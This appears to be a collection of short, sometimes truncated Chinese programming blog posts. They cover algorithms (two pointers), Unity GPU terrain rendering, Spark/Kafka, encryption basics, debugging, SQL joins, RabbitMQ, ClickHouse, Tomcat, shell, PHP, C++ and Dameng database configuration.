1、定义 顾名思义,双指针即用两个不同速度或不同方向的指针对数组或对象进行访问,通过两个不同指针的碰撞从而达到特定的目的。 2、解决问题 在时间或空间条件有限的情况下使用单向遍历需要消耗大量的时间或者根本无法解决问题,这时候就需要我们使用双指针,通过指针的碰撞判断是否达到条件,从而解决问题。 双指针分为快慢指针和左右指针,左右指针通常在数组有序的情况下使用,快慢指针通常在单向遍历需要消耗大量时间,或者有特定要求限制的情况下使用。 首先介绍一下左右指针 左右指针通常在数组有序的情况下,从最小和最大端同时对数组进行处理,对满足特定条件的数组元素进行成对处理,快慢指针逐渐靠拢直至发生碰撞,则遍历完所有数组。 举个例子: 一个孤岛上有7个人重量54kg,55kg,56kg,57kg,58kg,59kg,70kg。她们需要逃生到安全的地方。现在有足够的救生艇,但是每个救生艇只能坐两个人,而且每个救生艇最大能承受113kg的重量,那她们最少需要多少救生艇才能全部逃生。 现在我们来分析,如果最重的人可以与最轻的人共用一艘船,那么就这样安排。否则,最重的人无法与任何人配对,那么他们将自己独自乘一艘船。这么做的原因是,如果最轻的人可以与任何人配对,那么他们也可以与最重的人配对。 那我们首先让她们按照体重排好队 那我们首先看最瘦的和最胖的,连个加起来有124斤,是坐不了一条船的 那我们只能让最胖的自己坐一条船,然后看第二胖的能不能和最瘦的一起坐船走,这时候用了一条船。 可以发现最瘦的果然和第二胖的人体重一共为113kg,她们是可以一起坐船走的,这时候一共占用了两条船,接下来继续看第二瘦和第三胖的人。。。。。。。 最后组队情况为: 54kg - 59kg,55kg - 58kg,56kg - 57kg,70kg 从上我们可以看到双指针即是在有序数组的情况下,我们通过两个指针在遍历的过程中进行标记,对满足条件的进行处理,直至遍历完整个数组。 下面看几个例题: 881. 救生艇 第 i 个人的体重为 people[i],每艘船可以承载的最大重量为 limit。 每艘船最多可同时载两人,但条件是这些人的重量之和最多为 limit。 返回载到每一个人所需的最小船数。(保证每个人都能被船载)。 示例 1: 输入:[2,1,4,7,3,2,5] 输出:5 解释:最长的 “山脉” 是 [1,4,7,3,2],长度为 5。 示例 2: 输入:[2,2,2] 输出:0 解释:不含 “山脉”。 提示: 0 <= A.length <= 10000 0 <= A[i] <= 10000 如上所述:如果最重的人可以与最轻的人共用一艘船,那么就这样安排。否则,最重的人无法与任何人配对,那么他们将自己独自乘一艘船。 这么做的原因是,如果最轻的人可以与任何人配对,那么他们也可以与最重的人配对。 代码如下: class Solution { public int numRescueBoats(int[] people, int limit) { Arrays.

GPUTerrain简单实现

简介 在看了狗哥老司机和MaxwellGeng等大佬关于GPUDriven的实现,就参考Ubisoft实现一个简单的GPUDriven的Terrain的绘制 因为地形绘制时需要的数据不需要一直更新,所以只要在一开始传入地形的HeightMap和NormalMap之后,剩下的绘制操作基本不太需要传入其他大量的数据,非常适合GPUDriven。 使用GPUDriven的好处是可以在很少的几次DrawCall就可以绘制出整个地形场景,而且可以剔除掉不需要的面片,减少绘制的压力。 做GPUDrivenTerrain需要注意 Hiz的生成,地表mesh的拆分与剔除不同mip的mesh的临接的接缝处理在GPU上实现的地形数据结构,以及灯光的处理(我没有去实现) 实现流程 使用一个64*64大小的mesh作为Instance的对象,可以通过四叉树把当前的地形切分,分成3级使用上一帧的depth计算出的Hiz和上一帧的ViewProjection的Matrix对当前帧的做一次Cull用第2步剪裁的结果绘制出深度,并生成当前深度的Hiz通过第3步生成的Hiz和当前帧的ViewProjection的Matrix再次对第2步剪裁后剩下的部分再做一次Cull对第4步得到的新的深度重新计算Hiz,作为本帧最终的Hiz,同时也作为下一帧的输入Hiz通过剔除操作得到需要绘制的mesh的ID和 我们在Unity上实现的时候,场景跟地形分开绘制,具体实现代码如下 // 0、绘制得到Opaque的深度图 m_DepthPrepass.Setup(cameraTargetDescriptor, new RenderTargetIdentifier(m_DepthRenderTarget)); EnqueuePass(m_DepthPrepass); // 1、根据上一帧的Hiz和VP先剔除掉有可能被遮挡的地块,在Opaque的深度图上继续绘制深度 m_TerrainDepthPrepass.Setup(new RenderTargetIdentifier(m_DepthRenderTarget), m_HizRenderTarget, _VPPrevFrame); EnqueuePass(m_TerrainDepthPrepass); // 2、使用新的depth计算Hiz m_HizPass.Setup(new RenderTargetIdentifier(m_DepthRenderTarget), m_HizRenderTarget); EnqueuePass(m_HizPass); // 3、使用新的Hiz做剔除,绘制剩下的其实还存在的小块 m_TerrainDepthPrepass.Setup(new RenderTargetIdentifier(m_DepthRenderTarget), m_HizRenderTarget, _VPPrevFrame); EnqueuePass(m_TerrainDepthPrepass); // 4、计算当前帧的depth计算Hiz,以便下一帧使用 m_HizPass.Setup(new RenderTargetIdentifier(m_DepthRenderTarget), m_HizRenderTarget); EnqueuePass(m_HizPass); // 正常绘制场景 EnqueuePass(m_RenderOpaqueForwardPass); // 正常绘制地形 m_GPUTerrainPass.Setup(BuiltinRenderTextureType.CameraTarget, BuiltinRenderTextureType.CameraTarget); EnqueuePass(m_GPUTerrainPass); 对于绘制阴影也是跟上面同样的剔除方法,只不过光源作为相机的位置和方向而已,跟正常的shadowmap绘制没有太大区别。 接缝处理 参考狗哥老司机和Ubisoft介绍的,通过对mesh进行退化,可以防止不同mip等级的mesh之间相连接的时候会出现缝隙,通过把在小mip的一个点移动到已知的点的位置上,而这个移动的距离就存在mesh的color属性中。 使用的mesh是直接狗哥老司机的项目中的在顶点的color上设置了偏移值的mesh,右边是存到了alpha通道上,所以看不见 在实际绘制的时候,如下图所示,不同mip的mesh连接到一块儿的时候如果不做偏移的处理是这样的,小的mip会有一个顶点在大的mip边上,这样在根据heightmap对顶点的位置做偏移的时候,就会导致该边上多出来的这个顶点凸出去,而且产生缝隙 处理的方法就是提前在在不同mip临接的边上,对低mip的mesh多出来的这个顶点做退化处理,这点跟Ubisoft提到的用greedy的方法预填充场景对象的mesh方法一样,要对mesh重合或者不同mip临接的顶点做退化处理,其实就是把这个顶点偏移一定的距离,使其与mesh内部的顶点重合。 做了顶点偏移处理后的mesh如上图所示,不同mip的mesh相接的地方就不会出现接缝 Unity版本的实现请看 https://gitee.com/alienity/GPUDrivenTerrain 引用 [1] https://zhuanlan.zhihu.com/p/335325149 [2] https://zhuanlan.zhihu.com/p/352850047

使用sparkstreaming将kafka中的主题数据做一些转换再写到kafka中新的主题中

项目架构为: 1.新建一个maven工程——MySparkstreaming 2.导入pom.xml依赖。各个依赖版本要匹配哦,不然会报错哦~比如会报错AbstractMethodError <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <!--这边spark降版本是因为要和下面的spark-streaming-kafka-0-10_2.11依赖匹配,不然会报错AbstractMethodError.我spark版本为2.4.4--> <spark.version>2.1.0</spark.version> <kafka.version>2.0.0</kafka.version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.spark/spark-core --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-core_2.11</artifactId> <version>${spark.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.spark/spark-sql --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_2.11</artifactId> <version>${spark.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.spark/spark-streaming --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-streaming_2.11</artifactId> <version>${spark.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.kafka/kafka --> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.12</artifactId> <version>${kafka.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.kafka/kafka-clients --> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-clients</artifactId> <version>${kafka.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.spark/spark-streaming-kafka-0-10 --> <!--创建kafka的DStream数据源需要用到他KafkaUtils--> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-streaming-kafka-0-10_2.11</artifactId> <version>${kafka.version}</version> </dependency> </dependencies> 3.创建一个读特质——ReadTrait

数据库面试题:对称加密和非对称加密的区别

1. 对称加密 对称加密指的就是加密和解密使用同一个秘钥,所以叫做对称加密。对称加密只有一个秘钥,作为私钥。常见的对称加密算法:DES,AES,3DES等等。 2. 非对称加密 非对称加密指的是:加密和解密使用不同的秘钥,一把作为公开的公钥,另一把作为私钥。公钥加密的信息,只有私钥才能解密。私钥加密的信息,只有公钥才能解密。常见的非对称加密算法:RSA,ECC 3.区别 对称加密算法相比非对称加密算法来说,加解密的效率要高得多。但是缺陷在于对于秘钥的管理上,以及在非安全信道中通讯时,密钥交换的安全性不能保障。所以在实际的网络环境中,会将两者混合使用.

C语言计算机等级考试之实用VC调试技巧!!!

实用调试技巧 什么是BUG为什么调试如何调试 以下是VC++ 2010(目前计算级等级考试官方使用软件)简单调试指南 注:在微软的Visual Studio的大多数版本也可以使用哦!!! 不知道怎么创建项目,运行代码的同学点击这里VC++ 2010/VS新建项目并编写/运行代码操作 什么是BUG 不管是程序员还是计算机小白,在写一些代码时,由于粗心大意,或者其他原因时不时会碰到BUG 那么什么是BUG? BUG:调试,又称除错,在这里其实发现和减少计算机的程序出错的过程。 为什么调试 有人说:“每一次调试都是尝试破案的过程。” 碰到几百行以内简单的代码我们可以使用肉眼人脑来思考,可碰到几千上万行复杂代码我们总不能人脑硬刚了吧。这时软件自带的调试工具就展现出它们惊人的能力了! 如何调试 调试过程: 发现程序出错->大致对错误定位->分析缩小错误范围->确定出错原因->思索解决方法->改正程序错误,重新调试 调试选项:Debug版本和Release版本 主要区别: 1.Debug版本中包含调试信息,不做任何优化,便于程序员调试 2.Release版本则是优化了程序所占内存大小,主要表现在.exe(可执行文件),当然Release版本还会优化一些Debug版本中的Bug(比如有些错的代码在Debug版本死活跑不过去,但是在Release版本却奇迹般地跑过去了) 除此以外还有反汇编状态下的区别,内存开辟的先后顺序等等,在此就不一一列举了 Debug Release Windows环境调试介绍(注:学过虚拟机的同学就知道,在Linux系统下,调试工具为gdb) 以目前计算级等级考试使用的的官方软件VC++ 2010:为例: 1、准备调试环境 切换至Dubug版本 2、快捷键调试 F5直接就调试(经常用在直接跑到下一个断点处) 注:断点就是你想使程序停止的点,下图中的红色的圆点就是断点哦!!! 点击F5这个源程序就直接从main函数进入直接跑到下图中的断点 如何设断点? 1.要么你直接鼠标左键点击源文件文本编辑区左边空白区域,下图所示位置。 2.要么你移动光标,快捷键F9就可以出现断点了 断点的作用:程序可以随意的停在我们想让它停的地方,进而一步步执行下去 Ctrl + F5 开始执行不调试 用F10逐过程(看的是过程,不进入函数)运行时可以 F11表示的为逐语句(一个一个语句的执行,看见函数,进入函数) 如果函数过于冗长,或者你不高兴在函数里面了,你就在函数里里面按住shift + F11就可以直接退出函数 此时可以用监视来看变量的值(注:按照以下步骤,你只需输入你要监视的值就好) 当然你也同时可以用来看内存(内存要在专家模式下看,专家模式在下面1) 下图示监视的内容 断点可以设置条件(会省去很多不必要的步骤)图示:在我们求所有的三位水仙花数中,我们在可以设置断点位置处,右击鼠标出现图示的条件,点击进去 我在这里设置了i==50时,中断,完之后我只要按F5,程序就直接跑到这个满足断点条件的位置,下图示: 总结一下,调试中:我们可以1.跟踪观察变量 2.查看内存信息,其实里面的选项里还有 3.查看反汇编信息,还可以 4.查看调用堆栈信息等等,功能多多,等待各位去开发利用,我只在这里列举了比较常用调试工具,或者调试快捷键(比如:1.你可以快速的注释全部代码只需:Ctrl+a->按住Ctrl的同时先按k,再按c)(再比如:2.你可以快速选中某段以注释的代码段取消注释只需:选中想注释的代码段,按住Ctrl同时先点击k,再点击u) 最后,各位可要多动手去尝试一下,拒做伸手党!!! 同时文中可能有错误,欢迎各位不吝斧正!!! ↩︎

Oracle ( ) outerjoin,oracle 内连接(inner join)、外连接(outer join)、全连接(full join) union union all...

内连接 SQL INNER JOIN 关键字 在表中存在至少一个匹配时,INNER JOIN 关键字返回行。 外连接 SQL LEFT JOIN 关键字 LEFT JOIN 关键字会从左表 (table_name1) 那里返回所有的行,即使在右表 (table_name2) 中没有匹配的行。 SQL RIGHT JOIN 关键字 RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行。 全连接 只要其中某个表存在匹配,FULL JOIN 关键字就会返回行。 select * from test_idx inner join test_idx1 on 1=1; 当 on 条件为 1=1 时, 内连接,外连接 ,全连接查询结果无差异 union 与 union all 的区别 union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序; union All:对两个结果集进行并集操作,包括重复行,不进行排序; demo: Oracle 建表 DROP TABLE IF EXISTS `test1`; CREATE TABLE `test1` (

java调用c语言实现的dll文件,以及dll文件位数不匹配的解决办法

项目结构 解决办法: 因为我的这个dll文件是自己生成的,所以只能重新生成一个64bit的dll 如果不清楚自己的g++版本的话可以看一下MINGW的文件夹,以及自己配置的环境变量 下面是我修改后的:【之前碰到一个坑,我用的下载程序下载mingw64里面没有bin文件(可能是网络的原因没有下好),后面换成了下载zip就成功了】 如果不清除字节dll文件的位数的话,还有 一个简单的方法: 使用notepad++打开文件,虽然是乱码 但是可以直接ctrl+f 搜索 PE 查看 如果PE后面的是L就是32位的,如果是d的话就是64位的 结果演示: 参考 64位mingw下载地址:建议选择zip格式下载 https://sourceforge.net/projects/mingw-w64/ 判断dll是64位还是32位的简单方法 https://blog.csdn.net/u012611644/article/details/83060983

shell 字符串数组简单使用

shell中的数组只有一维数组,而且数组的类型不多,由于经常要改Android编译环境以及实现Android的一些简单脚本,用到的字符串数组比较多,学习是为了要使用,对于我们来说,数组的使用就是如何定义、如何查找数据、如何遍历等 #!/bin/sh name_array=(Zhangshan Lisi Wangwu) #数组的定义和初始化 name_array[3]="chenqw" #数组元素添加 echo "name_array length is ${#name_array[@]}" #数组长度 index=0 for i in ${name_array[@]} #数组遍历 do echo ${name_array[$index]} let index++ done name_array[1]="Cherry" #数组元素修改 echo "name_array length is ${#name_array[@]}" index=0 for i in ${name_array[@]} do echo ${name_array[$index]} let index++ done # 第二种遍历方法 #for((i=0;i<${#name_array[@]};i++)) #do # echo ${name_array[$i]} #done unset name_array[1] #数组元素删除,注意删除的是数组元素的内容,而且数组长度也减一,此时数组长度为3,其中包含空的第二个元素 echo "name_array length is ${#name_array[*]}" index=0 for i in ${name_array[*]} do echo ${name_array[$index]} let index++ done name_array[4]="

【IDEA】运行报错问题:Error running ‘Tomcat 9.0.13‘: Address localhost:8080 is already in use

IDEA运行报错问题:Error running ‘Tomcat 9.0.13’: Address localhost:8080 is already in use 原因:8080端口被其他的应用占用。 解决方法如下: 第一步,win+r,进入cmd,键入netstat -ano 得到如下: 找到8080端口位置: TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 9948 可以见到占用8080端口的进程的PID是9948 第二步,键入 tasklist 找到9948对应进程: ApplicationWebServer.exe 9948 Services 0 1,428 K 第三步,打开任务管理器,找到ApplicationWebServer.exe并关闭。 第四步,IDEA重新编译启动tomcat,即可恢复正常。

Clickhouse - System Tables 集合(一)

Clickhouse自带系统库system,启动时创建系统表,无数据文件,主要用于记录Clickhouse的系统信息和状态指标。 1.query_log 作用:ClickHouse开启慢sql查询 开启方法: 打开各个ClickHouse实例的users.xml文件,在默认配置最上层profile(如default)中加入: <log_queries>1</log_queries> service clickhouse-server restart 注意:如添加该参数之后表不自动创建,需要重启clickhouse-server服务。 检查每个节点ch中config.xml文件里默认的日志配置是否开启 <!-- Query log. Used only for queries with setting log_queries = 1. --> <query_log> <!-- What table to insert data. If table is not exist, it will be created. When query log structure is changed after system update, then old table will be renamed and new table will be created automatically. --> <database>system</database> <table>query_log</table> <!-- PARTITION BY expr https://clickhouse.

消息中间件-RabbitMQ消息可靠性和插件化机制

package com.study.rabbitmq.a132.confirm; import com.rabbitmq.client.*; import java.io.IOException; import java.util.ArrayList; import java.util.concurrent.TimeoutException; // 可靠生产 // https://www.rabbitmq.com/confirms.html public class Producer { public static void main(String[] args) { // 1、创建连接工厂 ConnectionFactory factory = new ConnectionFactory(); // 2、设置连接属性 factory.setHost("192.168.100.242"); factory.setUsername("admin"); factory.setPassword("admin"); Connection connection = null; Channel channel = null; try { // 3、从连接工厂获取连接 connection = factory.newConnection("生产者"); // 4、从链接中创建通道 channel = connection.createChannel(); // 进入confirm模式, 每次发送消息,rabbtiqm处理之后会返回一个对应的回执消息 AMQP.Confirm.SelectOk selectOk = channel.confirmSelect(); // 增加监听器 ArrayList<String> queues = new ArrayList<>(); channel.

C# 内存法复制图像bitmap

/** * 内存法复制图片 * */ private void copyBitmap(Bitmap bmpSrc, Bitmap bmpDest) { int w = bmpSrc.Width, h = bmpSrc.Height; PixelFormat format = bmpSrc.PixelFormat; // Lock the bitmap's bits. 锁定位图 Rectangle rect = new Rectangle(0, 0, w, h); BitmapData bmpDataSrc = bmpSrc.LockBits(rect, ImageLockMode.ReadOnly, format); // Get the address of the first line.获取首行地址 IntPtr ptrSrc = bmpDataSrc.Scan0; BitmapData bmpDataDest = bmpDest.LockBits(rect, ImageLockMode.WriteOnly, format); IntPtr ptrDest = bmpDataDest.Scan0; // Declare an array to hold the bytes of the bitmap.

pytest 测试类Class的运用

编写pytest测试用例有一条规则: 测试类要以Class开头,首字母大写 一直没明白测试类用来干嘛的 后来看到一篇文章才明白可以把一些要一起执行的用例放在一个测试类里面 应该是方便后面的时候归类已经只执行此测试类的测试用例吧 import pytest class Testone(): a=1 def test_one(self): assert 2 == 2 def test_two(self): b=Testone() print(b) pass if __name__=="__main__": pytest.main(['-v','test_one.py::Testone','--html=./class.html'])

【错误记录】java web工程中Tomcat启动报错‘Starting Tomcat v9.0 Server at localhost‘ has encountered a problem‘

我所遇到的这个错误是很基本的一个xml文件路径设置问题 出错提示 错误报告:Server Tomcat v9.0 Server at localhost failed to start. 现实情况如下:运行Tomcat错误: 注意 提醒:这只是该种报错笔者所遇到的一个问题,这儿给出了该问题的一个解决办法,根据每个人遇到的问题的不同或许并不能解决你所遇到的问题,但希望对你有用 解决办法 首先检查xml文件中的配置是否有问题: 我所遇到的问题即:<servlet>标签的<servlet-name>和<servlet-mapping>标签中的<servlet-name>不同导致的,修改为同一个名字即可 xml文件中: <servlet> <servlet-name>JDBCServlet</servlet-name> <servlet-class>cn.DataBaseOp.JDBCServlet</servlet-class> <init-param> <param-name>driver</param-name> <param-value>com.mysql.jdbc.Driver</param-value> </init-param> <init-param> <param-name>url</param-name> <param-value>jdbc:mysql://localhost:3306</param-value> </init-param> <init-param> <param-name>user</param-name> <param-value>root</param-value> </init-param> <init-param> <param-name>password</param-name> <param-value>root</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>Servlet</servlet-name> <url-pattern>/jdbcservlet</url-pattern> </servlet-mapping> 如上,这段xml文件中的配置中<servlet>标签中的<servlet-name>和<servlet-mapping>中的<servlet-name>不同导致出现该报错。 可能的出错原因 (1)url配置出了问题,比如说: 在url-pattern中缺少了一个 / 的符号也会报这个错误 <url-pattern>jdbcservlet</url-pattern> (2)<servlet>和<servlet-mapping>成对出现,同一对<servlet>中定义的<servlet-name>与<servlet-mapping>中定义的<servlet-name>必须一致,若不相同,若不同也会报这个错误 注意当你定义多个<servlet>时,每个<servlet>必定跟随一个<servlet-mapping>,注意别看错了,成对存在

php使用的方法,php中::的使用方法

双冒号操作符即作用域限定操作符Scope Resolution Operator可以访问静态、const和类中重写的属性与方法。 在类定义外使用的话,使用类名调用。在PHP 5.3.0,可以使用变量代替类名。 Program List:用变量在类定义外部访问 class Fruit { const CONST_VALUE = 'Fruit Color'; } $classname = 'Fruit'; echo $classname::CONST_VALUE; // As of PHP 5.3.0 echo Fruit::CONST_VALUE; ?> Program List:在类定义外部使用:: class Fruit { const CONST_VALUE = 'Fruit Color'; } class Apple extends Fruit { public static $color = 'Red'; public static function doubleColon() { echo parent::CONST_VALUE . "\n"; echo self::$color . "\n"; } } Apple::doubleColon(); ?> 程序运行结果:Fruit Color Red

oracle查看审核策略,系统审核策略操作脚本

系统审核策略操作脚本,具体操作看帮助吧 @echo off if {%1} == {} goto :help if {%2} == {} goto :help if exist SAMTool.sdb erase SAMTool.sdb /q if exist SAMTool.inf erase SAMTool.inf /q if exist SAMTool.log erase SAMTool.log /q if {%1} == {-b} secedit /export /cfg %2 /log SAMTool.log /quiet if {%1} == {-r} secedit /configure /db SAMTool.sdb /cfg %2 /log SAMTool.log /quiet if {%1} == {-o} ( if {%4} == {} goto :help if not {%3} == {-p} goto :help

C++--vector--修改操作

vector 1. vector的修改操作2. 迭代器失效 1. vector的修改操作 assign :分配新内容,替换当前内容 pop_back :尾删元素push_back :尾插元素 template <class T> void printFor(const vector<T>& vec) { for (const auto& e : vec) { cout << e << " "; } cout << endl; } void test() { vector<int> v(3, 2); //赋值 v.assign(5, 1); vector<int> v2(3, 6); v.assign(v2.begin(), v2.end()); int arr[] = { 1,2,3,4 }; v2.assign(arr, arr + sizeof(arr) / sizeof(arr[0])); //尾删 printFor(v); //6 6 6 v.pop_back(); printFor(v); //6 6 v.

迪文触摸串口屏 实例应用(4)——同步数据返回(单次按压、持续按压、松开按压)

一、简介 本文介绍通过同步数据返回功能,使串口接收到单次按压、持续按压、松开按压的3种状态。 1.1 设置组件 1.2 设置bin文件 保存生成后,设置DWIN_SET文件夹中22_Config.bin文件。该文件是以字节为单位,软件中的变量地址是以字长度为单位。例如0x5610地址对应bin中0xac20。整体配置如下。 修改后保存,DWIN_SET下载到设备。点击屏幕就可以再串口看到如下结果: • 由 青梅煮久 写于 2021 年 04 月 06 日

aliyun-oss-spring-boot-starter导入无效

bug java.lang.NullPointerException at com.jane.shop.shopthirdparty.ShopThirdPartyApplicationTests.test1(ShopThirdPartyApplicationTests.java:33) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:325) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:78) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:57) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:290) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:71) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:288) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:58) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:268) at org.junit.runners.ParentRunner.run(ParentRunner.java:363) at org.junit.runner.JUnitCore.run(JUnitCore.java:137) at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:68) at com.intellij.rt.execution.junit.IdeaTestRunner$Repeater.startRunnerWithArgs(IdeaTestRunner.java:47) at com.intellij.rt.execution.junit.JUnitStarter.prepareStreamsAndStart(JUnitStarter.java:242) at com.intellij.rt.execution.junit.JUnitStarter.main(JUnitStarter.java:70) Process finished with exit code -1 package com.jane.shop.shopthirdparty; import com.aliyun.oss.OSSClient; import org.junit.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import java.io.FileInputStream; import java.io.InputStream; @SpringBootTest public class ShopThirdPartyApplicationTests { @Autowired OSSClient ossClient; @Test public void test1() throws Exception { // // Endpoint以杭州为例,其它Region请按实际情况填写。 // String endpoint = "

达梦数据库JDBC连接池断开自动重连设置

一、场景 在网络状况不是非常良好,经常会出现暂时性的拥塞或者断开的情况,而且当我们重启数据库时也会发生类似的情况。所以需要配置中间件的连接池来实现连接测试以及自动重连,通过重新配置连接池,成功解决了这个问题。下面会给出一份数据源配置参数详单和一份推荐的数据源配置项。 二、连接池配置参数 1. initialSize:连接池启动时创建的初始化连接数量 2. maxActive:连接池中可同时连接的最大的连接数 3. maxIdle:连接池中最大的空闲的连接数,超过的空闲连接将被释放,如果设置为负数表示不限(maxIdle不能设置太小,因为假如在高负载的情况下,连接的打开时间比关闭的时间快,会引起连接池中idle的个数上升超过maxIdle,而造成频繁的连接销毁和创建) 4. minIdle:连接池中最小的空闲的连接数,低于这个数量会被创建新的连接(该参数越接近maxIdle,性能越好,因为连接的创建和销毁,都是需要消耗资源的;但是不能太大,因为在机器很空闲的时候,也会创建低于minidle个数的连接) 5. maxWait:最大等待时间,当没有可用连接时,连接池等待连接释放的最大时间,超过该时间限制会抛出异常,如果设置-1表示无限等待(默认为无限,调整为60000ms,避免因线程池不够用,而导致请求被无限制挂起) 6. poolPreparedStatements:开启池的prepared(默认是false) 7. maxOpenPreparedStatements:开启池的prepared 后的同时最大连接数(默认无限制) 8. minEvictableIdleTimeMillis:连接池中连接,在时间段内一直空闲, 被逐出连接池的时间(默认为30分钟,可以适当做调整,需要和后端服务端的策略配置相关) 9. removeAbandonedTimeout:超过时间限制,回收没有用(废弃)的连接(默认为 300秒,调整为180) 10. removeAbandoned:超过removeAbandonedTimeout时间后,是否进 行没用连接(废弃)的回收(默认为false,调整为true) 11. testOnBorrow:在进行borrowObject进行处理时,对拿到的connection进行validateObject校验 12. testOnReturn:在进行returnObject对返回的connection进行validateObject校验 13. testWhileIdle:重点,GenericObjectPool中针对pool管理,起了一个Evict的TimerTask定时线程进行控制(可通过设置参数timeBetweenEvictionRunsMillis>0),定时对线程池中的链接进行validateObject校验,对无效的链接进行关闭后,会调用ensureMinIdle,适当建立链接保证最小的minIdle连接数。 14. timeBetweenEvictionRunsMillis:设置的Evict线程的时间,单位ms,大于0才会开启evict检查线程 15. validateQuery:用来做连接检查的sql 16. validateQueryTimeout:检查查询超时时间 17. numTestsPerEvictionRun:代表每次检查链接的数量,建议设置和maxActive一样大,这样每次可以有效检查所有的链接. 三、断开自动重连机制 在出现网络中断和重启数据库时,连接池中的现有连接会失效,而如果不把这些连接进行回收(销毁),当应用取到这些链接时,就会报错。那么解决办法就来了,可以得空的时候,对连接池进行检查,看他们是不是失效了。 1、主动式 设置sql validate相关参数 testWhileIdle=true //闲时检查(空闲连接) validationQuery=select 1 //检查手段(查询) timeBetweenEvictionRunsMillis= 30000 //多长时间检查一次 这里之所以不选择设置testOnBorrow和testOnReturn是因为这两个对性能的影响比较大,每次取链接时或者放回连接时先对连接进行验证会消耗很多资源。 当设置了testWhileIdle或者testOnBorrow/testOnReturn时必须设置validationQuery才会生效。 2、设置合理的超时时间 minEvictableIdleTimeMillis=600000(空闲链接不被回收的最长时间) //有效期 有部分资料说removeAbandoned、removeAbandonedTimeout、logAbandoned这三个参数是用来断开自动重连的。从实际测试来看removeAbandoned是用来避免某些查询长时间不能返回或者某些情况下卡会话了,由于达梦数据库是默认不设置超时自动断开的,所以根据实际情况可以在连接池设置超时自动断开。

PageHelper.startPage()不生效

PageHelper.startPage()不生效? 在spring boot2.4之后,pom.xml应该由 <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper</artifactId> </dependency> 改为 <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper-spring-boot-starter</artifactId> </dependency>

消息中间件-RabbitMQ持久化机制、内存磁盘控制

RabbitMQ持久化机制 RabbitMQ内存控制 RabbitMQ磁盘控制 RabbitMQ持久化机制 重启之后没有持久化的消息会丢失 package com.study.rabbitmq.a134; import com.rabbitmq.client.*; import java.io.IOException; import java.util.concurrent.TimeoutException; /** * 持久化示例 */ public class Producer { public static void main(String[] args) { // 1、创建连接工厂 ConnectionFactory factory = new ConnectionFactory(); // 2、设置连接属性 factory.setHost("192.168.100.242"); factory.setUsername("admin"); factory.setPassword("admin"); Connection connection = null; Channel channel = null; try { // 3、从连接工厂获取连接 connection = factory.newConnection("生产者"); // 4、从链接中创建通道 channel = connection.createChannel(); // 定义一个持久化的,direct类型交换器 channel.exchangeDeclare("routing_test", "direct", true); // 内存、磁盘预警时用 System.out.println("按回车继续"); System.in.read(); // 消息内容 String message = "

达梦数据库用户和表空间常用SQL语句

达梦数据库用户和表空间常用SQL语句 我使用的环境是DM7,达梦数据库默认情况下可以使用SYSDBA用户使用默认表空间进行数据库操作。但是对于业务开发来说,使用普通用户和表空间进行使用保证数据的区分。 1、表空间 达梦数据库创建表空间的语法 CREATE TABLESPACE <表空间名> <数据文件子句>[<数据页缓冲池子句>][<存储加密子句>] <数据文件子句> ::= DATAFILE <文件说明项>{,<文件说明项>} <文件说明项> ::= <文件路径> [ MIRROR <文件路径>] SIZE <文件大小>[<自动扩展子句>] <自动扩展子句> ::= AUTOEXTEND <ON [<每次扩展大小子句>][<最大大小子句> |OFF> <每次扩展大小子句> ::= NEXT <扩展大小> <最大大小子句> ::= MAXSIZE <文件最大大小> <数据页缓冲池子句> ::= CACHE = <缓冲池名> <存储加密子句> ::= ENCRYPT WITH <加密算法> [[BY] <加密密码>] 达梦数据库表空间操作常用语句 --创建表空间 CREATE TABLESPACE TS_TEST DATAFILE 'TEST01.DBF' SIZE 256; --修改表空间名 ALTER TABLESPACE TS_TEST RENAME TO TS_TEST_BAK; --修改表空间状态为脱机 ALTER TABLESPACE TS_TEST OFFLINE; --修改表空间状态为联机 ALTER TABLESPACE TS_TEST ONLINE; --为表空间增加数据文件 ALTER TABLESPACE TS_TEST ADD DATAFILE 'TEST02.

